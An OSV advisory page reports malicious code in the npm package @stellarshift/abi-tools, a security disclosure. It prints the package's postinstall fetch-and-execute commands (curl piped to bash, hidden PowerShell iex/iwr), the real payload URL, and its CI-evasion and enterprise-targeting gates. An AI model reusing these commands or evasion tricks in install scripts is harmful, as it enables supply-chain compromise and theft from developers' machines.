MAL-2026-15821

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@stellarshift/abi-tools/MAL-2026-15821.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-15821
Aliases
  • GHSA-gjx7-hpjv-9pwq
Published
2026-09-02T17:38:00Z
Modified
2026-09-03T06:00:06.045224919Z
Summary
Malicious code in @stellarshift/abi-tools (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (bebef764845634817dcc9905a146c3ba898707dcc9937ebfe0060a4f10852d27)

On npm install, the package's postinstall hook resolves a URL that is stored as an XOR-encoded integer array in endpoint-registry.json (self-labeled 'ss-xor-v1') and reconstructed at runtime; the decoded destination is https://mexc-12584333570.cos.ap-beijing.myqcloud.com/abi-tool-.... On Unix the hook runs curl -fsSL '<url>' | bash; on Windows it runs powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command iex (iwr -UseBasicParsing -Uri $uri).Content. There is no pin, hash, or signature check on the fetched bytes. Execution is gated: CI environments are short-circuited, and the payload only fires on Windows/macOS hosts where both a collaboration client (Lark or Feishu) and FortiClient VPN are detected, narrowing execution to enterprise workstations. The child is launched with detached: true, stdio: 'ignore', windowsHide: true, and the postinstall swallows all errors and force-exits 0 so npm install reports success. The package advertises ABI selector hashing utilities; there is no legitimate need to fetch and execute a hidden remote shell payload at install time. The combination of destination obfuscation, victim-selection targeting a Lark/Feishu+FortiClient enterprise cohort, CI evasion, and stealth process flags is a targeted supply-chain attack against managed enterprise endpoints.

Source: ghsa-malware (c9bf1feeeb85d155242c76cde8025688ddf72e47c3102304c452442204df342a)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific
{
    "malicious-packages-origins": [
        {
            "import_time": "2026-09-02T22:16:58.806655555Z",
            "source": "amazon-inspector",
            "versions": [
                "1.0.1"
            ],
            "id": "IN-MAL-2026-019343",
            "modified_time": "2026-09-02T22:07:17Z",
            "sha256": "0e169e6b3d9d3c7578217acf16ad51b34df0ed6e3fda048aa8ae25e08a0ea03c"
        },
        {
            "import_time": "2026-09-02T22:16:58.623734155Z",
            "source": "amazon-inspector",
            "versions": [
                "1.0.3"
            ],
            "id": "IN-MAL-2026-019338",
            "modified_time": "2026-09-02T22:06:29Z",
            "sha256": "bebef764845634817dcc9905a146c3ba898707dcc9937ebfe0060a4f10852d27"
        },
        {
            "import_time": "2026-09-03T05:28:35.122765Z",
            "source": "ghsa-malware",
            "id": "GHSA-gjx7-hpjv-9pwq",
            "ranges": [
                {
                    "type": "SEMVER",
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ]
                }
            ],
            "modified_time": "2026-09-02T17:38:00Z",
            "sha256": "c9bf1feeeb85d155242c76cde8025688ddf72e47c3102304c452442204df342a"
        }
    ]
}
References
Credits

Affected packages

npm / @stellarshift/abi-tools

Package

Name
@stellarshift/abi-tools
View open source insights on deps.dev
Purl
pkg:npm/%40stellarshift/abi-tools

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

1.*
1.0.1
1.0.3

Database specific

source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@stellarshift/abi-tools/MAL-2026-15821.json"
indicators
{
    "evidence_files": [
        {
            "path": "scripts/postinstall.js",
            "tlsh": "9971fff406926b7171b1e3ac57478d06d4bb743136968180f5ccb1c5afed62c426acf9",
            "sha256": "ef05971b993a581826e883e5078cd2520d59346fd9ad35a3ef5fdf4ae98d7134"
        }
    ]
}
cwes
[
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code"
    }
]